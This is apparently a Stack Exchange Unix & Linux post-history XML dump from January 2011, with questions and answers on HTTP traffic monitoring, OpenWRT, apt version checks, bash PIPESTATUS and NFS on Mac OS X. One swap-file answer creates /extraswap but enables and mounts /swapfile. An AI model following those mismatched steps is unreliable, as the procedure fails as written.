  <row Id="14298" PostHistoryTypeId="2" PostId="6279" RevisionGUID="988ae97f-e2f0-4bc6-a93a-ad22e105dfca" CreationDate="2011-01-22T10:27:32.710" UserId="1131" Text="For debugging purposes I want to monitor the http requests on a network interface.&#xD;&#xA;&#xD;&#xA;Using a naive `tcpdump` command line I get too much low-level information and the information I need is not very  clearly represented.&#xD;&#xA;&#xD;&#xA;Dumping the traffic via `tcpdump` to a file and then using `wireshark` has the disadvantage that it is not on-the-fly.&#xD;&#xA;&#xD;&#xA;I imagine a tool usage like this:&#xD;&#xA;&#xD;&#xA;    $ monitorhttp -ieth0 --only-get --just-urls&#xD;&#xA;    2011-01-23 20:00:01 GET http://foo.example.org/blah.js&#xD;&#xA;    2011-01-23 20:03:01 GET http://foo.example.org/bar.html&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;I am using Linux.&#xD;&#xA;" />
  <row Id="14299" PostHistoryTypeId="1" PostId="6279" RevisionGUID="988ae97f-e2f0-4bc6-a93a-ad22e105dfca" CreationDate="2011-01-22T10:27:32.710" UserId="1131" Text="On-the-fly monitoring HTTP requests on a network interface?" />
  <row Id="14300" PostHistoryTypeId="3" PostId="6279" RevisionGUID="988ae97f-e2f0-4bc6-a93a-ad22e105dfca" CreationDate="2011-01-22T10:27:32.710" UserId="1131" Text="énetworkingàémonitoringàéhttpöloggingà" />
  <row Id="14301" PostHistoryTypeId="2" PostId="6280" RevisionGUID="cc565b56-dc5c-4bae-be45-466c69e72b51" CreationDate="2011-01-22T10:31:58.083" UserId="1078" Text="OpenWRT versions from Kamikaze onwards (which is basically Kamikaze and Backfire, but not White Russian) do not use NVRAM to store settings or configuration. It is all stored in the filesystem, either in the base squashfs image or the overlayed jffs image. This means you should be able to re-flash the image and get back to &quot;factory defaults&quot;.&#xD;&#xA;&#xD;&#xA;There are some settings stored in NVRAM that are used by the bootloader but I don't think they should persist once the Linux image has booted. Possibly MAC addresses may persist, but can be overridden in the filesystem configuration anyway.&#xD;&#xA;&#xD;&#xA;Whatever you do, do not indiscriminately wipe the NVRAM. You will almost brick the device, and may be bricked unless you can find on the net the appropriate settings to restore manually for your device. " />
  <row Id="14302" PostHistoryTypeId="2" PostId="6281" RevisionGUID="aa80fc48-cda6-423e-aec4-96c933765acf" CreationDate="2011-01-22T10:48:22.533" UserId="4067" Text="You can use [httpry][1] or Justsniffer (google it out) to do that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dumpsterventures.com/jason/httpry/&#xD;&#xA;" />
  <row Id="14303" PostHistoryTypeId="2" PostId="6282" RevisionGUID="2789a5e1-00d5-4b30-9909-861a42708f4e" CreationDate="2011-01-22T10:51:53.147" UserId="1131" Text="[OpenWrt][1] is a powerful distribution for open source routers. It supports for [a lot of devices][2].  A 2.6er kernel, an 2.4 is available, too. The web-interface is surprisingly useful, e.g. it supports switching between normal and advanced mode, in the advanced mode it supports more options and transactions for a set of configuration changes. It can be easily disabled. opkg is initially installed.&#xD;&#xA;&#xD;&#xA;There is some documentation. They have a manual. Regarding hardware support the wiki has a lot of information. You can find a lot of useful stuff via a google search in their web forums (why can't they use mailinglists like a normal open source project?).&#xD;&#xA;&#xD;&#xA;*what distinguishes them, why pick this option*&#xD;&#xA;&#xD;&#xA;OpenWrt has a history of continuous development. It is not a fork, where you have to worry, if you get updates (i.e. current releases). ATM various firmware images of the current release for different hardware devices are available for flashing - no need to setup a cross-compile environment, figure out a sane default configuration etc. A lot of setups are supported out of the box (e.g. bridging, non-bridging, vlan tagging, pppoe, UMTS sticks etc.) - the web-interface is impressive - even if you don't plan to use it for regular stuff, it demonstrates powerful configuration possibilities of the base system.&#xD;&#xA;&#xD;&#xA;  [1]: http://openwrt.org/&#xD;&#xA;  [2]: http://wiki.openwrt.org/toh/start" />
  <row Id="14304" PostHistoryTypeId="25" PostId="6278" RevisionGUID="3383c329-8ce6-486e-b548-108a27b4cbd9" CreationDate="2011-01-22T10:55:46.630" Comment="http://twitter.com/#!/StackUnix/status/28767774532698112" />
  <row Id="14305" PostHistoryTypeId="5" PostId="6280" RevisionGUID="5c2be5c4-1849-4160-b666-30e09ad9627c" CreationDate="2011-01-22T10:57:11.823" UserId="1078" Comment="Add details on how to reflash; added 8 characters in body" Text="OpenWRT versions from Kamikaze onwards (which is basically Kamikaze and Backfire, but not White Russian) do not use NVRAM to store settings or configuration. It is all stored in the filesystem, either in the base squashfs image or the overlayed jffs image. This means you should be able to re-flash the image and get back to &quot;factory defaults&quot;.&#xD;&#xA;&#xD;&#xA;The way to flash an OpenWRT image is described at http://wiki.openwrt.org/doc/howto/installing . Once you have OpenWRT installed the first time, the easiest way to reflash is to use the &quot;via the OpenWrt command line&quot; method. Pay attention to the differences between `.trx` images and `.bin` images. `.trx` images are &quot;raw&quot; generic openwrt images used by the command line installation method. `.bin` images have vendor-specific headers and, so you need to have the appropriate image for your router.&#xD;&#xA;&#xD;&#xA;There are some settings stored in NVRAM that are used by the bootloader but I don't think they should persist once the Linux image has booted. Possibly MAC addresses may persist, but can be overridden in the filesystem configuration anyway.&#xD;&#xA;&#xD;&#xA;Whatever you do, do not indiscriminately wipe the NVRAM. You will almost brick the device, and may be bricked unless you can find on the net the appropriate settings to restore manually for your device. " />
  <row Id="14306" PostHistoryTypeId="5" PostId="6281" RevisionGUID="e822bad6-dc66-48f9-af83-29d48d76bd16" CreationDate="2011-01-22T10:58:03.327" UserId="1131" Comment="googled it" Text="You can use [httpry][1] or [Justsniffer][2] to do that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dumpsterventures.com/jason/httpry/&#xD;&#xA;  [2]: http://justniffer.sourceforge.net/" />
  <row Id="14307" PostHistoryTypeId="2" PostId="6283" RevisionGUID="9a5c2a8b-ac95-4a20-ae2c-9b780d3dab30" CreationDate="2011-01-22T11:22:25.210" UserId="1707" Text="I think [Wireshark][1] is capable of doing what you want&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wireshark.org/" />
  <row Id="14308" PostHistoryTypeId="2" PostId="6284" RevisionGUID="6a7f7de6-fabe-4f25-92dc-8960e3934425" CreationDate="2011-01-22T11:40:00.143" UserId="4069" Text="Before i install a package i'd like to know what version i am getting. How do i check the version before installing using apt-get or aptitude? (i am using debian and sometimes ubuntu)" />
  <row Id="14309" PostHistoryTypeId="1" PostId="6284" RevisionGUID="6a7f7de6-fabe-4f25-92dc-8960e3934425" CreationDate="2011-01-22T11:40:00.143" UserId="4069" Text="Check package version using apt-get/aptitude?" />
  <row Id="14310" PostHistoryTypeId="3" PostId="6284" RevisionGUID="6a7f7de6-fabe-4f25-92dc-8960e3934425" CreationDate="2011-01-22T11:40:00.143" UserId="4069" Text="épackageömanagementàéaptàéversionàéaptitudeà" />
  <row Id="14311" PostHistoryTypeId="2" PostId="6285" RevisionGUID="561a2d23-ae0d-45c4-9528-54cc8e85ec4c" CreationDate="2011-01-22T12:10:36.933" UserId="4070" Text="Well one thing most of you forgot is the organisation of processes in cgroups.&#xD;&#xA;&#xD;&#xA;So if Systemd started a thing it will put this thing in its own cgroup and there is no (unpriviledged) mean for the process to escape that cgroup. This has several things as consequence:&#xD;&#xA;&#xD;&#xA; - An Administator of a big System with many users has efficient new ways to identify malicious users/processes.&#xD;&#xA; - The the priorities for Cpu-sheduling can be determined better as done by the [&quot;Wonder autocgroup patch&quot;][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phoronix.com/scan.php?page=article&amp;item=linux_2637_video&amp;num=2" />
  <row Id="14312" PostHistoryTypeId="2" PostId="6286" RevisionGUID="84139e52-ac91-4f12-a723-0ccdfda1907f" CreationDate="2011-01-22T12:24:36.493" UserId="3069" Text="**apt-get**&#xD;&#xA;&#xD;&#xA;You can run a simulation to see what would happen if you upgrade/install a package:&#xD;&#xA;&#xD;&#xA;    apt-get -s install &lt;package&gt;&#xD;&#xA;&#xD;&#xA;To see all possible upgrades, run a `upgrade` in verbose mode and (to be safe) with simulation, press &lt;kbd&gt;n&lt;/kbd&gt; to cancel:&#xD;&#xA;&#xD;&#xA;    apt-get -V -s upgrade&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**apt-cache**&#xD;&#xA;&#xD;&#xA;The option `policy` can show the installed and the remote version (install candidate) of a package.&#xD;&#xA;&#xD;&#xA;    apt-cache policy &lt;package&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**apt-show-versions**&#xD;&#xA;&#xD;&#xA;If installed, shows version information about one or more packages:&#xD;&#xA;&#xD;&#xA;    apt-show-versions &lt;package&gt;&#xD;&#xA;&#xD;&#xA;Passing the `-u` switch with or without a package name will only show upgradeable packages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**aptitude**&#xD;&#xA;&#xD;&#xA;The console GUI of `aptitude` can display upgradeable packages with new versions. Open the menu 'Upgradable Packages'. Pressing &lt;kbd&gt;v&lt;/kbd&gt; on a package will show more detailed version information.&#xD;&#xA;&#xD;&#xA;Or on the command-line:&#xD;&#xA;&#xD;&#xA;    aptitude versions &lt;package&gt;&#xD;&#xA;&#xD;&#xA;Passing `-V` will show detailed information about versions, again to be safe with the simulation switch:&#xD;&#xA;&#xD;&#xA;    aptitude -V -s install &lt;package&gt;&#xD;&#xA;&#xD;&#xA;Substituting `install &lt;package&gt;` with `upgrade` will show the versions from all upgradeable packages." />
  <row Id="14313" PostHistoryTypeId="5" PostId="6284" RevisionGUID="f2ce3379-73be-4a68-a56a-c7d4400acd57" CreationDate="2011-01-22T12:26:43.357" UserId="3069" Comment="deleted 18 characters in body" Text="Before I install a package I'd like to know what version i would get. How do I check the version before installing using `apt-get` or `aptitude` on debian or ubuntu?" />
  <row Id="14314" PostHistoryTypeId="2" PostId="6287" RevisionGUID="849722d4-2497-4ef2-8cd1-d184b62846e8" CreationDate="2011-01-22T13:33:36.090" UserId="3887" Text="[Wikipedia's list of projects][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://goo.gl/XhUnP" />
  <row Id="14315" PostHistoryTypeId="25" PostId="6279" RevisionGUID="05c4cab7-2db8-4f63-a27d-b2bd3b9ecb70" CreationDate="2011-01-22T13:55:47.040" Comment="http://twitter.com/#!/StackUnix/status/28813074190311424" />
  <row Id="14316" PostHistoryTypeId="2" PostId="6288" RevisionGUID="aed45b63-bab9-4a32-bf76-abbfe9768a06" CreationDate="2011-01-22T16:27:36.367" UserId="3180" Text="I would say that something with XFCE will probably be your best bet. I had great success with a custom Debian install running XFCE instead of Gnome on a Pentium3 500MHz with 512MB ram; nowadays I would probably use Arch though." />
  <row Id="14317" PostHistoryTypeId="25" PostId="6284" RevisionGUID="378f0dc0-e2a4-40be-8dad-3137df3b1154" CreationDate="2011-01-22T16:55:46.963" Comment="http://twitter.com/#!/StackUnix/status/28858372598013952" />
  <row Id="14318" PostHistoryTypeId="2" PostId="6289" RevisionGUID="0ae4f9bd-101e-482e-ae98-428f9b37b721" CreationDate="2011-01-22T17:02:16.590" UserId="3180" Text="I don't have any IDE drives and my only SATA hard drive is running in AHCI mode, but my initrd image loads the pata_atiixp module. Is it safe to disable this module? And what about the ata_generic onde?" />
  <row Id="14319" PostHistoryTypeId="1" PostId="6289" RevisionGUID="0ae4f9bd-101e-482e-ae98-428f9b37b721" CreationDate="2011-01-22T17:02:16.590" UserId="3180" Text="Do I need pata_atiixp or ata_generic kernel modules on a SATA only system?" />
  <row Id="14320" PostHistoryTypeId="3" PostId="6289" RevisionGUID="0ae4f9bd-101e-482e-ae98-428f9b37b721" CreationDate="2011-01-22T17:02:16.590" UserId="3180" Text="ékernelömodulesàésataàépataà" />
  <row Id="14321" PostHistoryTypeId="6" PostId="6274" RevisionGUID="3fd26ce5-a5fc-4c5c-b608-dc8226325a97" CreationDate="2011-01-22T17:10:09.820" UserId="885" Comment="edited tags" Text="éxorgàéguiàércàésessionà" />
  <row Id="14323" PostHistoryTypeId="6" PostId="6289" RevisionGUID="fc5ff751-d529-46d6-b4d6-884fa9fdb9da" CreationDate="2011-01-22T17:18:15.693" UserId="885" Comment="edited tags" Text="élinuxàékernelömodulesàésataàépataà" />
  <row Id="14324" PostHistoryTypeId="2" PostId="6291" RevisionGUID="43c1ac3b-8ea4-4574-bf0b-4c813755e511" CreationDate="2011-01-22T18:26:23.547" UserId="1131" Text="To answer the first question: Yes&#xD;&#xA;&#xD;&#xA;But anyway, it should be easy to generate a backup entry in your boot manager (with the original initrd and working kernel), in case something goes wrong.&#xD;&#xA;&#xD;&#xA;To answer the second one - you can use&#xD;&#xA;&#xD;&#xA;    $ lsmod&#xD;&#xA;    Module                  Size  Used by&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;On your running systems to see, if ata_generic is loaded and if it is, which modules depend on it (look at the *used by* column.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14325" PostHistoryTypeId="5" PostId="2208" RevisionGUID="70940ddf-3eff-424d-a48f-0db6d04c5505" CreationDate="2011-01-22T18:53:22.460" UserId="1876" Comment="added 146 characters in body" Text="A swap partition is preferred because it avoids the overhead of the file system when all you need is an addressable pool.&#xD;&#xA;&#xD;&#xA;But nothing prevents you from using a swap file instead of a swap partition, or in addition to a swap partition.&#xD;&#xA;&#xD;&#xA;- Create the file:&#xD;&#xA;&#xD;&#xA;        dd if=/dev/zero of=/extraswap bs=1M count=512&#xD;&#xA;&#xD;&#xA;- Initialize file contents's:&#xD;&#xA;&#xD;&#xA;        mkswap /extraswap&#xD;&#xA;&#xD;&#xA;- Use it:&#xD;&#xA;&#xD;&#xA;        swapon /swapfile&#xD;&#xA;&#xD;&#xA;- See if it worked:&#xD;&#xA;&#xD;&#xA;        free -m&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In order to start using the swapfile always at bootup, edit /etc/fstab and add&#xD;&#xA;&#xD;&#xA;    /swapfile           swap          swap    defaults    0 0&#xD;&#xA;&#xD;&#xA;[1] http://www.redhat.com/docs/manuals/linux/RHL-8.0-Manual/custom-guide/s1-swap-adding.html&#xD;&#xA;" />
  <row Id="14326" PostHistoryTypeId="2" PostId="6292" RevisionGUID="4802f618-b879-41fe-b0d6-06564cab1ebf" CreationDate="2011-01-22T19:34:52.270" UserId="3084" Text="I am using some GTK+ applications in Mac OS X Snow Leopard. My MacBook is configured for using the Brazilian layout, which allows it to enter diacritics as dead keys (so I can write á typing ' and then a, for example). However, it does not work in some GTK+ applications - in this case, Gedit and GnuCash. In other ones, such as Inkscape and Dia, I can enter diacritics as dead keys. It is valid to note that Dia and Inkscape runs through X11 but Gedit and GnuCash (at least my versions) do not.&#xD;&#xA;&#xD;&#xA;Does anybody have such problem? Has someone solved it? How could I configure the keyboard layout for GTK+? Do I do it in some _~/.gconf* or ~/.gnome file?&#xD;&#xA;&#xD;&#xA;Thanks in advance?" />
  <row Id="14327" PostHistoryTypeId="1" PostId="6292" RevisionGUID="4802f618-b879-41fe-b0d6-06564cab1ebf" CreationDate="2011-01-22T19:34:52.270" UserId="3084" Text="Diacritics does not work in GTK+ applications running on Mac OS X Snow Leopard" />
  <row Id="14328" PostHistoryTypeId="3" PostId="6292" RevisionGUID="4802f618-b879-41fe-b0d6-06564cab1ebf" CreationDate="2011-01-22T19:34:52.270" UserId="3084" Text="éosxàéx11àékeyboardàégtkà" />
  <row Id="14329" PostHistoryTypeId="25" PostId="6292" RevisionGUID="c1c84664-dd66-4251-a4eb-b7ec36979d9c" CreationDate="2011-01-22T19:55:46.667" Comment="http://twitter.com/#!/StackUnix/status/28903669915193345" />
  <row Id="14330" PostHistoryTypeId="2" PostId="6293" RevisionGUID="62c8a72d-b918-48b0-a9ae-75b922e8c0d2" CreationDate="2011-01-22T20:00:25.020" UserId="3455" Text="I'd suggest Gargoyle as in my opinion it's much easier to update and manage. Not to mention it has live graphic statistics on its web interface and Dynamic DNS support at the router level should you need it.&#xD;&#xA;&#xD;&#xA;- Gargoyle is based off of OpenWRT and uses the same hardware table. See installation manual for more details (read carefully).&#xD;&#xA;&#xD;&#xA;- I do not believe you can disable the web interface (possibility exists), but you can SSH into the router.&#xD;&#xA;&#xD;&#xA;- Unsure of kernel version&#xD;&#xA;&#xD;&#xA;- Documented not as throughly as OpenWRT, but gargoyle is based off of it so can defer to that for more specific information.&#xD;&#xA;&#xD;&#xA;- Unsure on package management&#xD;&#xA;&#xD;&#xA;- easy to update through the web interface&#xD;&#xA;&#xD;&#xA;[Gargoyle page][1]&#xD;&#xA;&#xD;&#xA;[supported hardware][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gargoyle-router.com/index.php&#xD;&#xA;  [2]: http://oldwiki.openwrt.org/TableOfHardware.html" />
  <row Id="14331" PostHistoryTypeId="2" PostId="6294" RevisionGUID="6fd2232c-9c99-4e83-b287-dc0d182508e7" CreationDate="2011-01-22T20:00:59.607" UserId="2444" Text="We have many unused PC machines and we would like to use them to set up educational lab for high performance computing applications. Which Linux distribution is the most convenient to set up and easy to manage in educational environment? I would be thankful if someone provides me with a list of advantages and disadvantages of different Linux clustering distributions.  " />
  <row Id="14332" PostHistoryTypeId="1" PostId="6294" RevisionGUID="6fd2232c-9c99-4e83-b287-dc0d182508e7" CreationDate="2011-01-22T20:00:59.607" UserId="2444" Text="Straightforward Linux Clustering" />
  <row Id="14333" PostHistoryTypeId="3" PostId="6294" RevisionGUID="6fd2232c-9c99-4e83-b287-dc0d182508e7" CreationDate="2011-01-22T20:00:59.607" UserId="2444" Text="élinuxà" />
  <row Id="14334" PostHistoryTypeId="6" PostId="6294" RevisionGUID="85284e27-6735-42e5-911b-cb65db09a206" CreationDate="2011-01-22T20:05:41.510" UserId="885" Comment="edited tags" Text="élinuxàédistributionöchoiceàéclusterà" />
  <row Id="14335" PostHistoryTypeId="5" PostId="6089" RevisionGUID="f297dfbd-2f89-44e6-852b-1b386d6d9f46" CreationDate="2011-01-22T20:13:33.990" UserId="3487" Comment="edited body" Text="How do I combine bash command grouping and pipe status?&#xD;&#xA;&#xD;&#xA;This is an example command group:&#xD;&#xA;&#xD;&#xA;    { tar -cf - my_folder 2&gt;&amp;1 1&gt;&amp;3 | grep -v &quot;Removing leading&quot; 1&gt;&amp;2; } 3&gt;&amp;1 | gzip --rsyncable &gt; my_file.tar.gz&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;This is an example pipe status readout to go with the above:&#xD;&#xA;&#xD;&#xA;    [[ ${PIPESTATUS[*]} =~ [1-9] ]] &amp;&amp; rm my_file.tar.gz&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;In this example, the command group keeps mail spool free of warnings about &quot;Removing leading /&quot; from tar, being delivered via cron because they land on stderr (Unices lack a stdwarn and tar lacks a quiet option), while letting real errors pass through.&#xD;&#xA;&#xD;&#xA;The pipe status readout makes sure that corrupt backup files are immediately removed, to prevent a later cleanup using a standard FIFO algorithm from removing older valid files.&#xD;&#xA;&#xD;&#xA;But this example does not work.  In the above, the pipe status contains [1 0], that is, the exit code of grep and gzip, but not tar.&#xD;&#xA;&#xD;&#xA;One attempt I tried was this:&#xD;&#xA;&#xD;&#xA;    { tar -cf - my_folder 2&gt;&amp;1 1&gt;&amp;3 | grep -v &quot;Removing leading&quot; 1&gt;&amp;2; GROUPSTATUS=${PIPESTATUS[*]}; } 3&gt;&amp;1 | gzip --rsyncable &gt; my_file.tar.gz&#xD;&#xA;    [[ $GROUPSTATUS =~ [1-9] ]] &amp;&amp; rm my_file.tar.gz&#xD;&#xA;&#xD;&#xA;But GROUPSTATUS is empty upon leaving the group.&#xD;&#xA;&#xD;&#xA;(Note that by setting GROUPSTATUS to anything other than the pipe's status, eg. a literal of some sort, it can be verified that the variable does in fact escape the command grouping scope under normal circumstances.)&#xD;&#xA;&#xD;&#xA;I've also tried if `return` from within the group can deliver the first pipe component's exit code to the outside, but return inside a command group just yields an error message from bash.&#xD;&#xA;" />
  <row Id="14336" PostHistoryTypeId="5" PostId="6277" RevisionGUID="f5270134-9e5b-4bfd-a884-7e6dc62503ae" CreationDate="2011-01-22T20:22:49.400" UserId="29" Comment="remove kernel version thing, probably listed on project page anyways" Text="What distro's exist that are designed for routers? Please include the following&#xD;&#xA;&#xD;&#xA;* link to the project page&#xD;&#xA;* link to supported hardware list&#xD;&#xA;* what distinguishes them, why pick this option&#xD;&#xA;* friendly web interface?&#xD;&#xA;* above friendly interface easily disabled?&#xD;&#xA;* package management for software not initially installed? (e.g. ipkg/opkg)&#xD;&#xA;* good documentation?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14337" PostHistoryTypeId="5" PostId="6292" RevisionGUID="f85c1af7-377c-4254-8e73-37007973d7b6" CreationDate="2011-01-22T20:25:59.190" UserId="3084" Comment="deleted 1 characters in body; edited title" Text="I am using some GTK+ applications in Mac OS X Snow Leopard. My MacBook is configured for using the Brazilian layout, which allows it to enter diacritics as dead keys (so I can write á typing ' and then a, for example). However, it does not work in some GTK+ applications - in this case, Gedit and GnuCash. In other ones, such as Inkscape and Dia, I can enter diacritics as dead keys. It is valid to note that Dia and Inkscape runs through X11 but Gedit and GnuCash (at least my versions) do not.&#xD;&#xA;&#xD;&#xA;Does anybody have such problem? Has someone solved it? How could I configure the keyboard layout for GTK+? Do I do it in some ~/.gconf* or ~/.gnome file?&#xD;&#xA;&#xD;&#xA;Thanks in advance?" />
  <row Id="14338" PostHistoryTypeId="4" PostId="6292" RevisionGUID="f85c1af7-377c-4254-8e73-37007973d7b6" CreationDate="2011-01-22T20:25:59.190" UserId="3084" Comment="deleted 1 characters in body; edited title" Text="Diacritics do not work in GTK+ applications running on Mac OS X Snow Leopard" />
  <row Id="14339" PostHistoryTypeId="2" PostId="6295" RevisionGUID="c5a5760f-2ad5-4cb1-9879-17460945acd3" CreationDate="2011-01-22T20:31:24.030" UserId="3487" Text="From the packet dump, it looks like Wireshark thinks that a number of frames are not in Ethernet v2 format. A guess could be that one of the laptops is bonding two 54mbps channels into 108mbps using 802.3ad channel bonding (called Super-G mode when it's over WiFi in the original Atheros implementation, D-Link licensed the technology and probably called it something else) and that this is somehow failing.&#xD;&#xA;&#xD;&#xA;Notably, a few packets are sent in normal framing format, namely DNS traffic, which also happens to work fine.&#xD;&#xA;&#xD;&#xA;One idea could be to disable Super-G on either or both sides and see how that turns out.&#xD;&#xA;&#xD;&#xA;Also, a raw dump rather than ASCII for machine2 would be nice ;-)&#xD;&#xA;" />
  <row Id="14340" PostHistoryTypeId="2" PostId="6296" RevisionGUID="0ddb2052-8019-4bd3-bd39-e66435aba6a8" CreationDate="2011-01-22T20:47:50.187" UserId="4086" Text="I am running a Mac Pro using Snow Leopard (not server).  I would like to share a directory with a linux machine.  I have edited /etc/exports on the Mac to:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;/Volumes/mstore/home/sdavis -maproot=root -rw&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;When I try to mount this from a linux machine, I get:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA; sudo mount gale.nci.nih.gov:/Volumes/mstore/home/sdavis /tmp/abc&#xD;&#xA;mount.nfs: access denied by server while mounting gale.nci.nih.gov:/Volumes/mstore/home/sdavis&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Also, this is what I get for showmount -e on the Mac:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;% showmount -e&#xD;&#xA;Exports list on localhost:&#xD;&#xA;% &#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;In other words, the mount is not seen, apparently.  Any suggestions?  I have not found much good documentation on sharing via NFS on the Mac, particularly for later OS versions." />
  <row Id="14341" PostHistoryTypeId="1" PostId="6296" RevisionGUID="0ddb2052-8019-4bd3-bd39-e66435aba6a8" CreationDate="2011-01-22T20:47:50.187" UserId="4086" Text="Sharing Mac Snow Leopard directory via NFS" />
  <row Id="14342" PostHistoryTypeId="3" PostId="6296" RevisionGUID="0ddb2052-8019-4bd3-bd39-e66435aba6a8" CreationDate="2011-01-22T20:47:50.187" UserId="4086" Text="éosxàéfileösharingàénfsàéexportà" />
  <row Id="14343" PostHistoryTypeId="2" PostId="6297" RevisionGUID="489b66dc-ca0d-47d2-960a-a7ddefd3931f" CreationDate="2011-01-22T20:48:25.757" UserId="3895" Text="The Debian installer is text-based and is included in the *Ubuntu distriubtion as the &quot;Alternate&quot; CD. There are many lightweight distributions available, such as Puppy Linux, Damn Small Linux and Tiny Core.  &#xD;&#xA;&#xD;&#xA;More mainstream distributions such as Debian, Ubuntu, Linux Mint and Fedora have lightweight &quot;spins&quot; available, which include either XFCE, LXDE or Fluxbox. Coincidentally I was testing out Lubuntu today (an &quot;unofficial&quot; Ubuntu variant which uses LXDE) and Linux Mint Fluxbox.  &#xD;&#xA;&#xD;&#xA;It is also worth remembering that the applications which are installed with the distribution or which you install should also be lightweight if possible. It would be counter-productive to install a lightweight distribution on your hardware and then expect it to run Firefox with two dozen tabs open as well as OpenOffice." />
  <row Id="14344" PostHistoryTypeId="2" PostId="6298" RevisionGUID="1ad03a7d-d776-47aa-a12b-1620d268165f" CreationDate="2011-01-22T20:55:05.467" UserId="4023" Text="Hi &#xD;&#xA;If you look at my previous question you will find this one as same as that but as I couldn't solve my problem yet I want to ask again, I did tried all your good suggestions but there were no mercurial package in opensuse 10.2(my linux) please give me another sollution which doesn't need packages I'm completely confused and I just installed opensuse 11.1 but it had the same problems(also I'm not familiar with this version and even couldn't find yum) :(     &#xD;&#xA;please give me some suggestions for a begginer in Linux, any help to make my program work. Any help would be appreciated.   &#xD;&#xA;Bests &#xD;&#xA;" />
  <row Id="14345" PostHistoryTypeId="1" PostId="6298" RevisionGUID="1ad03a7d-d776-47aa-a12b-1620d268165f" CreationDate="2011-01-22T20:55:05.467" UserId="4023" Text="need to install mercurial" />
  <row Id="14346" PostHistoryTypeId="3" PostId="6298" RevisionGUID="1ad03a7d-d776-47aa-a12b-1620d268165f" CreationDate="2011-01-22T20:55:05.467" UserId="4023" Text="élinuxà" />
  <row Id="14347" PostHistoryTypeId="2" PostId="6299" RevisionGUID="5410de80-6fdb-4435-a876-ad2b1ee9673d" CreationDate="2011-01-22T21:03:02.353" UserId="4086" Text="Bad form, I know, to answer my own question, but....  I needed a couple more steps, outlined [here][1].  In short, I needed to execute:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;sudo nfsd update&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;As another detail, I added the client name to the export and removed the &quot;-rw&quot; flag.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.revolution34.com/2007/12/07/nfs-exports-and-mac-os-x-105-leopard/" />
  <row Id="14348" PostHistoryTypeId="5" PostId="6093" RevisionGUID="1303032e-fb18-471d-8e1d-1d4075956bab" CreationDate="2011-01-22T21:03:11.330" UserId="885" Comment="discuss getting data from pipeline elements into the shell" Text="When you execute a pipeline, each pipe-separated element is executed in its own process. Variable assignments only take effect in their own process. Under ksh and zsh, the last element of the pipeline is executed in the original shell; under other shells such as bash, each pipeline element is executed in its own subshell and the original shell just waits for them all to end.&#xD;&#xA;&#xD;&#xA;    $ bash -c 'GROUPSTATUS=foo; echo GROUPSTATUS is $GROUPSTATUS'&#xD;&#xA;    GROUPSTATUS is foo&#xD;&#xA;    $ bash -c 'GROUPSTATUS=foo | :; echo GROUPSTATUS is $GROUPSTATUS'&#xD;&#xA;    GROUPSTATUS is &#xD;&#xA;&#xD;&#xA;In your case, since you only care about all the commands succeeding, you can make the status code flow up.&#xD;&#xA;&#xD;&#xA;    { tar -cf - my_folder 2&gt;&amp;1 1&gt;&amp;3 | grep -v &quot;Removing leading&quot; 1&gt;&amp;2;&#xD;&#xA;      ! ((PIPESTATUS[0])); } 3&gt;&amp;1 |&#xD;&#xA;    gzip --rsyncable &gt; my_file.tar.gz;&#xD;&#xA;    if ((PIPESTATUS[0] || PIPESTATUS[1])); then rm my_file.tar.gz; fi&#xD;&#xA;&#xD;&#xA;If you want to get more than 8 bits of information out of the left side of a pipe, you can write to yet another file descriptor. Here's a proof-of-principle example:&#xD;&#xA;&#xD;&#xA;    { { tar …; echo $? &gt;&amp;4; } | …; } | { gzip …; echo $? &gt;&amp;4; } \&#xD;&#xA;      4&gt;&amp;1 | ! grep -vxc '0'&#xD;&#xA;&#xD;&#xA;Once you get data on standard output, you can feed it into a shell variable using command substitution, i.e. `$(…)`. Command substitution reads from the command's standard output, so if you also meant to print things to script's standard output, they need to temporarily go through another file descriptor. The following snippet uses fd 3 for things that eventually go to the script's stdout and fd 4 for things that are captured into `$statuses`.&#xD;&#xA;&#xD;&#xA;    statuses=$({ { tar -v … &gt;&amp;3; echo tar $? &gt;&amp;4; } | …; } |&#xD;&#xA;               { gzip …; echo gzip $? &gt;&amp;4; } 4&gt;&amp;1) 3&gt;&amp;1&#xD;&#xA;&#xD;&#xA;If you need to capture the output from different commands into different variables, I think there is no direct way even in “advanced” shells such as bash, ksh or zsh. Here are some workarounds:&#xD;&#xA;&#xD;&#xA;* Use temporary files.&#xD;&#xA;* Use a single output stream, with e.g. a prefix on each line to indicate its origin, and filter at the top level.&#xD;&#xA;* Use a more advanced language such as Perl or Python.&#xD;&#xA;" />
  <row Id="14349" PostHistoryTypeId="10" PostId="6298" RevisionGUID="3fd379d8-5df3-41d3-8a92-3953a5929baa" CreationDate="2011-01-22T22:15:49.400" UserId="305" CloseReasonId="1" Text="[{&quot;Id&quot;:305,&quot;DisplayName&quot;:&quot;Maciej Piechotka&quot;}]" />
